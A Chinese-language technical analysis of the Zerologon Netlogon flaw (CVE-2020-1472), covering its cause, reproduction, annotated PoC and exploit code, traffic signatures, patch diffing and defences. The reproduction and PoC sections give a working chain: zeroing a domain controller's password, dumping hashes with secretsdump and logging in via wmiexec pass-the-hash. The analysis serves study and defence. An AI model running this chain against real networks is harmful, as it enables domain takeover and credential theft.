CVE-2020-1472 Netlogon权限提升漏洞分析

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所属分类:安全文章
CVE-2020-1472 Netlogon权限提升漏洞分析

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看雪论坛作者ID:有毒



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  •  一、漏洞信息

  •       1. 漏洞简述

  •       2. 组件概述

  •       3. 漏洞利用

  •       4. 漏洞影响

  •       5. 解决方案

  • 二、漏洞复现

  •        1. 环境搭建

  •        2. 漏洞检测

  •        3. 漏洞利用

  • 三、漏洞分析

  •        1.基本信息

  •        2. 背景知识

  •        3. 详细分析

  •           1)2种credential的算法

  •           2)存在漏洞的AES-CFB8

  •        4. 利用思路

  •           1)欺骗client credential

  •           2)绕过signing 和 sealing

  •           3)欺骗调用

  •           4)修改计算机的AD域密码

  •           5)从改密到域控

  •        5. PoC分析

  •        6. 流量分析

  •           1)爆破特征

  •           2)漏洞特征

  •              ①NetrServerReqChallenge

  •              ②NetrServerAuthenticate3

  •       7. 补丁分析

  •           1)BinDiff结果

  • 四、漏洞检测和防御

  •       1. 漏洞检测

  •       2. 漏洞防御

  •           1)流量侧

  •           2)终端侧

  • 五、参考文献

    六、特别声明



CVE-2020-1472,也称Zerologon漏洞。该漏洞为微软2020年8月份补丁日例行更新时公开的漏洞,以其10分的CVSS评分在当时引起诸多研究员重视。在近日的活动期间,国外secura公开了针对该漏洞的扫描检测脚本和whitepaper,不久之后互联网中即公开了漏洞利用的完整exp。国内各安全厂商在短时间对该漏洞进行了各种手段的防御,目前尚未发现该漏洞的大范围利用案例。




一、漏洞信息



1. 漏洞简述


  • 漏洞名称:Netlogon Elevation of Privilege Vulnerability

  • 漏洞编号:CVE-2020-1472

  • 漏洞类型:Elevation of Privilege

  • 漏洞影响:Elevation of Privilege

  • CVSS评分:10

  • 利用难度:Medium

  • 基础用户:不需要


2. 组件概述


Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证。Netlogon远程协议RPC接口还用于为备份域控制器(BDC)复制数据库。
 
Netlogon远程协议用于维护从域成员到域控制器(DC),域的DC之间以及跨域的DC之间的域关系。此RPC接口用于发现和管理这些关系。


3. 漏洞利用


该漏洞主要是由于在使用Netlogon安全通道与域控进行连接时,由于认证协议加密部分的缺陷,导致攻击者可以将域控管理员用户的密码置为空,从而进一步实现密码hash获取并最终获得管理员权限。成功的利用可以实现以管理员权限登录域控设备,并进一步控制整个域。

4. 漏洞影响


Microsoft Windows Server 2008 R2 SP1
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server version 2004 (Server Core Installation)
Microsoft Windows Server version 1903 (Server Core Installation)
Microsoft Windows Server version 1909 (Server Core Installation)


5. 解决方案


微软官方针对该漏洞的解决方案分成了2部分:
 
第1部分,首先发布该漏洞的安全更新补丁,补丁地址:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
 
第2部分,在2021年的Q1完成对所有加入域的设备(包含非Windows设备)的全面保护。




二、漏洞复现



1. 环境搭建


  • 域控主机name:ADSrv01

  • 域控ip:XXXX


靶机操作

安装impacket:

python setup.py install

2. 漏洞检测


使用公开的检测脚本进行检测:

pip install -r requirements.txtpython Scan.py ADSrv01 <IP>

检测结果:
 
(1)存在漏洞
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(2)已安装更新补丁

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3. 漏洞利用


同样,使用公开的利用脚本(重置密码为空)进行漏洞利用验证:

python poc.py ADSrv01 <IP>

运行结果(与检测环境不同,但不影响漏洞利用):
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然后,使用空密码获取hash:

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'Domain/DC_NETBIOS_NAME$@dc_ip_addr' example:secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'v4ler1an/[email protected]<IP>'

这里我使用的powershell,所以会弹出一个cmd,输出hash信息,然后快速关掉,可以使用linux,就会保持窗口不会立刻关闭了:
 
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这里可以拿到administrator的密码hash,然后就可以使用hash进行登录了:

wmiexec.py -hashes HASH DOMAIN/[email protected]IP 此处的例子为:wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8756481b09eec95190a6663a2dd879ab v4ler1an/[email protected]<IP>

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后续操作:
 
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三、漏洞分析



1. 基本信息


  • 漏洞文件:netlogon.dll

  • 漏洞函数:NetrServerAuthenticate3等

  • 漏洞算法:AES


2. 背景知识


Netlogon Remote Protocol,是在Windows域控上开启的一个RPC接口。它用于执行与用户和计算机身份验证相关的各种task,最常见的是方便用户使用NTLM协议登录服务器。其他功能包括NTP response的身份验证,尤其是可以让计算机在域内更新其密码。RPC接口可通过TCP(通过域控制器的portmapper服务分配的动态端口)或通过端口445上的SMB管道来使用。
 
该协议并未使用RPC服务的相同的认证策略,它使用了一种密码学协议来让client(域内)和域控的进行client的账户密码hash的确认,使用这种方式的主要原因是在Windows NT时代,计算机账户不再是首选原则,因此就无法使用类似NTLM或者Kerberos之类的标准用户身份验证方案。
 
Netlogon session初始化由client完成,client和sever会交换随机的8字节随机数(称为challenges),然后他们都通过使用密钥派生函数将两个challenges与client的账户密码hash混合在一起来计算session key。然后,client使用计算得到的session key计算得到一个client credential。
 
server重新计算相同的credential,如果与client计算的结果相同,则判定client拥有正确的用户密码以及session key,验证通过。其过程大致如下图所示:

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在认证握手阶段,client和server都可以协商是否对subsequent messages进行加密和密码学认证(称为seal and sign),其主要目的是抵御网络层面的攻击者。如果不使用加密,一些执行重要action的Netlogon call仍然会包含一个authticator值,该值也是使用session key计算获得。

3. 详细分析


客户端和服务器用于生成凭据值的加密原语由ComputeNetlogonCredential()函数实现,该函数接收一个8字节长度的输入,然后使用session key对其进行转换,然后输出8字节长度的数据。

这里保证安全性的基本原则是,不知道session key的攻击者将无法计算或猜测与某个输入匹配的正确输出,那么也就无法获取可以成功实现认证的credential。

1)2种credential的算法


在计算credential时可使用的算法有2种:AES-CFB8和2DES。
 
2DES
 
在使用2DES进行计算时,计算session key的逻辑如下:

InitLMKey(KeyIn, KeyOut)      KeyOut[0] = KeyIn[0] >> 0x01;      KeyOut[1] = ((KeyIn[0]&0x01)<<6) | (KeyIn[1]>>2);      KeyOut[2] = ((KeyIn[1]&0x03)<<5) | (KeyIn[2]>>3);      KeyOut[3] = ((KeyIn[2]&0x07)<<4) | (KeyIn[3]>>4);      KeyOut[4] = ((KeyIn[3]&0x0F)<<3) | (KeyIn[4]>>5);      KeyOut[5] = ((KeyIn[4]&0x1F)<<2) | (KeyIn[5]>>6);      KeyOut[6] = ((KeyIn[5]&0x3F)<<1) | (KeyIn[6]>>7);      KeyOut[7] = KeyIn[6] & 0x7F; for( int i=0; i<8; i++ ){      KeyOut[i] = (KeyOut[i] << 1) & 0xfe;   }

假设bytes(s,e,l)为从字节数组l返回,从s到e 。session key计算完成后,credential按照如下逻辑进行计算:

ComputeNetlogonCredential(Input, Sk,             Output)       SET k1 to bytes(0, 6, Sk)      CALL InitLMKey(k1, k3)      SET k2 to bytes(7, 13, Sk)      CALL InitLMKey(k2, k4)      CALL DES_ECB(Input, k3, &output1)      CALL DES_ECB(output1, k4, &output2)      SET Output to output2

AES-CFB8
 
如果client和server之间协商了AES支持,则使用AES-128加密算法使用0初始化矢量在8位CFB模式下计算Netlogon凭据。其计算过程大致如下:

ComputeNetlogonCredential(Input, Sk,             Output)       SET IV = 0      CALL AesEncrypt(Input, Sk, IV, Output)

AesEncrypt是8位CFB模式下的AES-128加密算法,初始化矢量为0。
 
具体使用哪种算法,是在进行认证时由client进行相关flags的设置。但是,由于现代版本的Windows Server的默认设置都会拒绝使用2DES加密方案,所以大多数的domains都使用AES加密方案。而本次漏洞就产生于这种新发展的加密方案,2DES的旧版加密方案反而没有该漏洞的存在。

2)存在漏洞的AES-CFB8


基本的AES块密码操作需要16个字节的输入并将其置换为大小相等的输出,为了加密更大或更小的input,需要选择一种mode of operation。

在ComputerNetlogonCredential()函数种,仅需要转换8字节数据,选择了CFB8模式。因为该模式比一般的AES的任何一种模式都要慢大约16倍,所以利用范围很有限,大部分情况下都不会选择使用该模式。
 

AES-CFB8算法的计算过程大致如下:

  • 首先,在明文plaintext前面加上16字节长度的Initialistation Vector
  • 对修改后的IV+plaintext进行AES运算,获取其结果的第一个字节
  • 使用获取的第1和字节和plaintext的下一个字节进行异或操作

上述过程示意图如下:
 
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从上面的过程可以看出,为了完成对message的各个字节数据的加密,需要指定一个IV来引导整个过程。IV必须具备唯一性,必须为随机产生,这样对于同一个plaintext才可能产生不同的加密结果。

但是,在ComputeNetlogonCredential()函数中,该值被设置为了固定长度、值全为0的16字节数据。但是,使用全0的IV,就一定会出问题吗?概率很低,但不代表没有概率:在256个密钥中总是可以找到1个,对全0的plaintext应用AESCFB8加密将导致全0的ciphertext,其过程如下:
 
CVE-2020-1472 Netlogon权限提升漏洞分析
 
也就是说,如果IV和plaintext均为0,那么有256次机会可以找到一个key,使得最后的计算结果也全为0。实际上,此属性比较通用:当IV仅由0组成时,将存在一个0≤X≤255的整数,该整数表示以n字节开头的X值的明文最终被转换成n个值为0的字节开头的密文。X取决于加密密钥,并且是随机分布的。
 
到此为止,漏洞内容已经明确:一个全0的输入会导致一个全0的输出。

4. 利用思路


1)欺骗client credential


在通过NetrServerReqChallenge()函数完成challenges交换后,client会调用NetrServerAuthenticate3()函数来进行自身验证,函数原型如下:

NTSTATUS NetrServerAuthenticate3(   [in, unique, string] LOGONSRV_HANDLE PrimaryName,   [in, string] wchar_t* AccountName,   [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,   [in, string] wchar_t* ComputerName,   [in] PNETLOGON_CREDENTIAL ClientCredential,   [out] PNETLOGON_CREDENTIAL ServerCredential,   [in, out] ULONG * NegotiateFlags,   [out] ULONG * AccountRid);

该函数的ClientCrendential参数为一个指向NETLOGON_CREDENTIAL结构的指针,该结构中包含client的credential:

typedef struct _NETLOGON_CREDENTIAL {  CHAR data[8];} NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;

credential的计算由ComputeNetlogonCredential()完成,该函数利用NetrServerReqChallenge()函数传来的challenge进行计算,而challenge是完全可以由我们控制的,因此可以设置为8个0。这也就意味着,对于一个正确有效的ClientCredential来说,可以在256次机会中计算得到一个全0的ClientCredential。
 
因为server在每次认证请求中也会产生一个server challenge,该值也是session key计算的一个参数,也就是说,对于每次认证请求,session key都是不同的。但是因为计算机并没有做防爆破的机制,登录认证失败后可以一直尝试登录,所以可以进行256次爆破,直到找到正确的key。

2)绕过signing 和 sealing


虽然通过第一步可以实现身份验证绕过,但是对于Netlogon的传输加密机制(RPC signing and sealing)来说,我们不知道session key到底是多少。但是,singing和sealing是可选项,可以通过在NetrServerAuthenticate3()函数中取消设置对应的标志位来关闭这2个选项。

在现代的client中,默认是拒绝接受未设置这2个flag的server的连接请求的,但是server并不拒绝client的连接请求。所以,我们可以在进行攻击时手动关闭这2个flag。

3) 欺骗调用


即使禁用了加密,每个执行某些敏感操作的函数调用也必须包含一个Authenticator值。该值的计算通过使用ComputeNetlogonCredential(带有会话密钥)计算ClientStoredCredential + Timestamp获得:

SET TimeNow = current time;SET ClientAuthenticator.Timestamp = TimeNow;SET ClientStoredCredential = ClientStoredCredential + TimeNow;CALL ComputeNetlogonCredential(ClientStoredCredential,              Session-Key, ClientAuthenticator.Credential);

ClientStoredCredential是client维护的一个增量值。执行握手时,它会初始化为与我们提供的ClientCredential相同的值。因为client credential全0,因此对于身份验证后执行的第一个调用,ClientStoredCredential的值为0。

TimeStamp为NETLOGON_AUTHENTICATOR结构中的TimeStamp字段,包含当前的Posix时间。但是事实上,server并未对该值设置多少限制,因此可以简单地设置为1970年1月1日,即值设为0。

经过第一步后,我们知道ComputeNetlogonCredential(0)=0。因此,可以通过简单地提供全零authenticator和全零TimeStamp来验证第一个调用。

4)修改计算机的AD域密码


经过前3步后,我们已经可以向任何计算机发起Netlogon的请求。接下来,一种思路是调用NetrServerPasswordGet()函数来获取计算机密码的NTLM哈希。但是,哈希利用了另外一种机制使用session key进行加密,所以该函数无法利用。退而使用NetrServerPasswordSet2()函数,其主要作用为client设置新的计算机密码,函数原型如下:

NTSTATUS NetrServerPasswordSet2(  [in, unique, string] LOGONSRV_HANDLE PrimaryName,  [in, string] wchar_t* AccountName,  [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,  [in, string] wchar_t* ComputerName,  [in] PNETLOGON_AUTHENTICATOR Authenticator,  [out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,  [in] PNL_TRUST_PASSWORD ClearNewPassword);

这种密码没有hash,但是使用session key进行了加密。可以再次使用CFB8和全0的IV进行解决。
 
plaintext密码结构包含516个字节,最后的4个字节指明了密码长度(字节为单位)。结构中所有不属于密码功能的字节都被视为填充,并且可以具有任意值。如果我们提供516个0,那么加密结果就是516个0。

实际上,计算机并不禁止设置空密码,所以这里使用516个0可以登录域上的任意一台计算机。完成后,可以代表此计算机建立新的Netlogon连接。这次计算机的密码是空的,因此可以正常使用该协议。如果需要,现在还可以设置任何其他非空密码。其过程大致如下:
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以这种方式更改计算机密码时,只能在AD中更改。目标系统本身仍将在本地存储其原始密码。然后,该计算机将无法再向域进行身份验证,并且只能通过手动操作来重新同步。因此,可以将任何设备锁定在域之外。同样,只要计算机帐户在域中具有特殊特权,现在就可以滥用这些特权。

5)从改密到域控


后续可能跟渗透关系更大,个人对渗透了解不多,可能理解有误。
 
到此为止,可以更改的计算机的密码是DC本身的密码,AD中存储的DC密码与存储在本地注册表(HKLMSECURITYPolicySecrets$machine.ACC)中的并不相同。这可能会造成DC发生一些不可预知的行为。但是依旧可以登录。

只需要运行Impacket的secretsdump脚本就可以让DC的密码生效,该脚本会利用复制DRS协议通过域的从域中提取所有用户HASH,包括域管理员HASH(包括krbtgt,可以用来制作金票),然后用来登录DC更新电脑密码注册表,就可以令攻击者成为域管理员。

5. PoC分析


针对该漏洞的poc目前有2种,1种是检测脚本,1种是完整的漏洞利用脚本。
 
检测脚本的代码分析如下:

#!/usr/bin/env python3 # impacket是该漏洞利用使用的主要的python库,用到了其中的诸多功能from impacket.dcerpc.v5 import nrpc, epmfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket import crypto import hmac, hashlib, struct, sys, socket, timefrom binascii import hexlify, unhexlifyfrom subprocess import check_call # 根据前面的分析,理论上来讲,只要256次爆破就可以,但是为了保险和意外情况,这里作者给到了2000MAX_ATTEMPTS = 2000 # False negative chance: 0.04% # 错误回显,良心def fail(msg):  print(msg, file=sys.stderr)  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)  sys.exit(2) # 尝试使用全0的凭据进行登录def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # 连接到DC的Netlogon服务.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)   # 使用全0的challenge以及credential.  plaintext = b'x00' * 8  ciphertext = b'x00' * 8   # 标准flags字段值设置,作者生成其参考为win10系统,但目前该值的设置普遍适用到最低winSrv2008.这里关闭了sign/seal标志位   flags = 0x212fffff   # 发送challenge和认证请求  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + 'x00', target_computer + 'x00', plaintext)  try:    server_auth = nrpc.hNetrServerAuthenticate3(    # 调用NetrServerAuthenticate3函数      rpc_con, dc_handle + 'x00', target_computer + '$x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + 'x00', ciphertext, flags    )     # Impacket中hNetrServerAuthenticate3函数实现:    # def hNetrServerAuthenticate3(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags):    # request = NetrServerAuthenticate3()    # request['PrimaryName'] = checkNullString(primaryName) -----> dc_handle + 'x00'    # request['AccountName'] = checkNullString(accountName) -----> target_computer + '$x00',以空值结尾的Unicode字符串,用于标识包含客户端和服务器之间共享的密钥(密码)的帐户名称。    # request['SecureChannelType'] = secureChannelType ----------> nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,NETLOGON_SECURE_CHANNEL_TYPE枚举值,指示此调用建立的安全通道的类型。    # request['ClientCredential'] = clientCredential ------------> ciphertext,指向NETLOGON_CREDENTIAL结构的指针,该结构包含客户端凭据。    # request['ComputerName'] = checkNullString(computerName) ---> target_computer + 'x00',一个空终止的Unicode字符串,其中包含调用此方法的客户端计算机的NetBIOS名称。    # request['NegotiateFlags'] = negotiateFlags ----------------> flags    # return dce.request(request)     # 认证成功    assert server_auth['ErrorCode'] == 0    return rpc_con   except nrpc.DCERPCSessionError as ex:    # 如果失败,报一个STATUS_ACCESS_DENIED错误。在爆破成功前,都会返回该错误。    if ex.get_error_code() == 0xc0000022:      return None    else:      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')  except BaseException as ex:    fail(f'Unexpected error: {ex}.')  def perform_attack(dc_handle, dc_ip, target_computer):  # 进行爆破,平均次数为256  print('Performing authentication attempts...')  rpc_con = None  for attempt in range(0, MAX_ATTEMPTS):     rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)     if rpc_con == None:      print('=', end='', flush=True)    else:      break   if rpc_con:    print('nSuccess! DC can be fully compromised by a Zerologon attack.')  else:    print('nAttack failed. Target is probably patched.')    sys.exit(1)  if __name__ == '__main__':  if not (3 <= len(sys.argv) <= 4):    print('Usage: zerologon_tester.py <dc-name> <dc-ip>n')    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')    sys.exit(1)  else:    [_, dc_name, dc_ip] = sys.argv     dc_name = dc_name.rstrip('$')    perform_attack('\\' + dc_name, dc_ip, dc_name)

其实本质上来说,漏洞检测脚本也是利用了漏洞了,尝试登录多次,根据是否登录成功来判断是否存在漏洞。某种意义上来说,这不算一种无损检测。
 
漏洞利用的脚本关键代码如下:

......# 爆破范围与检测脚本一致MAX_ATTEMPTS = 2000 # False negative chance: 0.04% # 异或def byte_xor(ba1, ba2):    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) ...... def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # 同样登录DC的Netlogon服务.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)   # 使用全0的challenge和credential.  plaintext = b'x00' * 8  ciphertext = b'x00' * 8   # flags设置与检测脚本一致  flags = 0x212fffff   # 发送challenge和认证请求  serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + 'x00', target_computer + 'x00', plaintext)  serverChallenge = serverChallengeResp['ServerChallenge']  try:    server_auth = nrpc.hNetrServerAuthenticate3(      rpc_con, dc_handle + 'x00', target_computer+"$x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + 'x00', ciphertext, flags    )      # It worked!    assert server_auth['ErrorCode'] == 0    print()    server_auth.dump()    print("server challenge", serverChallenge)      # 设置IV为全0    try:      IV=b'x00'*16      authenticator = nrpc.NETLOGON_AUTHENTICATOR()      authenticator['Credential'] = ciphertext #authenticatorCred,全0      authenticator['Timestamp'] = b"x00" * 4 #0 # timestamp_var, 全0       request = nrpc.NetrServerPasswordSet2()      request['PrimaryName'] = NULL      request['AccountName'] = target_computer + '$x00'      request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel      request['ComputerName'] = target_computer + 'x00'      request["Authenticator"] = authenticator      request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD()      request["ClearNewPassword"]["Buffer"] = b'x00'*512      request["ClearNewPassword"]["Length"] = 0 # 根据secura的白皮书,总计516字节,前面占了512字节,再跟4字节数据长度      resp = rpc_con.request(request)      resp.dump()    ......

跟前面的利用思路一致,利用脚本相比检测脚本多了设置为空密码的过程。因为impackt中已经实现了大部分主要功能,所以exp开发难度不大。

6. 流量分析


此处只对关键流量做一些分析,在DCERPC调用正式开始前还有一些SMB通信的相关流量,因为跟漏洞关系不大,此处不做赘述。

1)爆破特征


CVE-2020-1472 Netlogon权限提升漏洞分析

从流量包中可以明显看出爆破特征,在RPC_NETLOGON的流量之前,会有DCERPC和EPM的相关流量。上图的一个竖型红框为一组爆破流量。

2)漏洞特征


CVE-2020-1472 Netlogon权限提升漏洞分析
 
每组流量首先在DCERPC协商阶段协商使用的端口,即使用动态端口。因为操作系统版本为Windows Server 2008或的公告版本,所以使用的端口为高端口,范围为49152~65535。因为没有使用固定端口,为流量检测带来一定难度。

① NetrServerReqChallenge


CVE-2020-1472 Netlogon权限提升漏洞分析
 
在流量中,并没有发现NetrServerReqChallenge()的明显特征,当然,这里的Client Challenge的全0值可以作为漏洞特征进行识别。除此之外,并未发现其他明显特征。

②NetrServerAuthenticate3
CVE-2020-1472 Netlogon权限提升漏洞分析
相比NetrServerReqChallenge()函数的流量特征,NetrServerAuthenticate3()函数多了Negotiation options,该字段的以Authenticated RPC supported和AES support位的设置,对漏洞的成功利用具有重要作用,因此Negotiation options字段的流量特征和全0的Client Crenditial的流量特征,可以作为识别该漏洞的最明显特征。

7. 补丁分析


微软在8月份发布了针对该漏洞的安全更新方案。与普通漏洞的安全更新不同,微软打算分阶段完成针对该漏洞的完整防御,但其声称在安装完8月份的安全更新后即可防御该漏洞。可以初步推断,微软打算替换现有的认证方案。考虑到域环境的复杂性,需要花费一定的时间来确认新方案的可行性。
 
目前,微软官方对Netlogon协议的官方说明文档已经做了更新,部分重要更新如下:

1. 102页:引入了一个新设置项:VulnerableChannelAllowList,以安全描述符定义语言(Security Descriptor Definition Language)表示的对Netlogon的client的设置([MS-DTYP]第2.5.1节)不允许使用安全绑定。

2. 104页:在session key的协商过程中新增了一个步骤:如果client质询的前5个字节都不唯一,则server必须在不进行后续步骤的情况下使session key协商失败。

3. 110页:session key的建立过程新增了两个步骤:“ 4,如果未使用安全绑定,除非client处于VulnerableChannelAllowList设置中,否则server必须拒绝该请求。”以及“ 6,如果前5个字节中没有一个 ClientStoredCredential的计算结果(第3.1.4.5节的第1步)是唯一的,server必须在不进行后续步骤的情况下使session key协商失败。

使用的文件版本来自Windows Server 2016,更新前文件版本号为:10.0.14393.1737,更新后版本号为:10.0.14393.3866。

1)BinDiff结果

CVE-2020-1472 Netlogon权限提升漏洞分析

直接看NetrServerAuthenticate3()函数,改动总体上较大,但尚不确定针对该漏洞具体有效的更新。看关键的大改部分:
CVE-2020-1472 Netlogon权限提升漏洞分析
CVE-2020-1472 Netlogon权限提升漏洞分析
CVE-2020-1472 Netlogon权限提升漏洞分析 
在IDA中看下新增对NlIsChallengeCredentialPairVulnerable()函数的调用:
CVE-2020-1472 Netlogon权限提升漏洞分析
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进入到新函数NlIsChallengeCredentialPairVulnerable()内部:
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根据上述代码,我们可以得到该函数的大致逻辑:
  • client提供的challenge存储在rcx指向的buffer中;
  • 检查一些全局变量,如果为1,则函数返回0,表示不存在漏洞。
  • 检查rcx为非空,检查rdx为非空。
  • challenge的第1个字节存储在r9d中,然后在循环中将接下来的4个字节与它进行比较。如果这4个字节中的任何一个与第1个字节都不相同,则该函数返回0,不存在漏洞;否则返回1,存在漏洞。

这种修复方式针对的主要是当前已公开的poc和exp,即challenge全0的情况(也可以变形成其他的全1或者全2等情况)。这种防御逻辑其实比较简单,现在还无法判定是否可以实现更进一步的补丁绕过。




四、漏洞检测和防御



1. 漏洞检测


现在针对该漏洞的检测脚本已经在互联网中进行公开,本质上来说,公开的脚本因为尝试了使用空凭据登录,不能算作无损检测。尚未发现其他的检测方法。(终端侧的补丁检测和文件版本扫描除外)

2. 漏洞防御


1)流量侧


流量侧防御较为简单,根据Negotiation options字段的流量特征和全0的Client Crenditial的流量特征外加爆破限制即可实现针对目前所有公开exp的攻击,本质上来说也算是从漏洞原理侧进行了防御。

2)终端侧


正如补丁分析所说,针对该漏洞的终端侧防御可以考虑使用热补丁的方,但是否存在风险需要进一步验证。




五、参考文献



1. https://www.secura.com/pathtoimg.php?id=2055
2. MS-NRPC
3. https://blog.0patch.com/2020/09/micropatch-for-zerologon-perfect.html





六、特别声明



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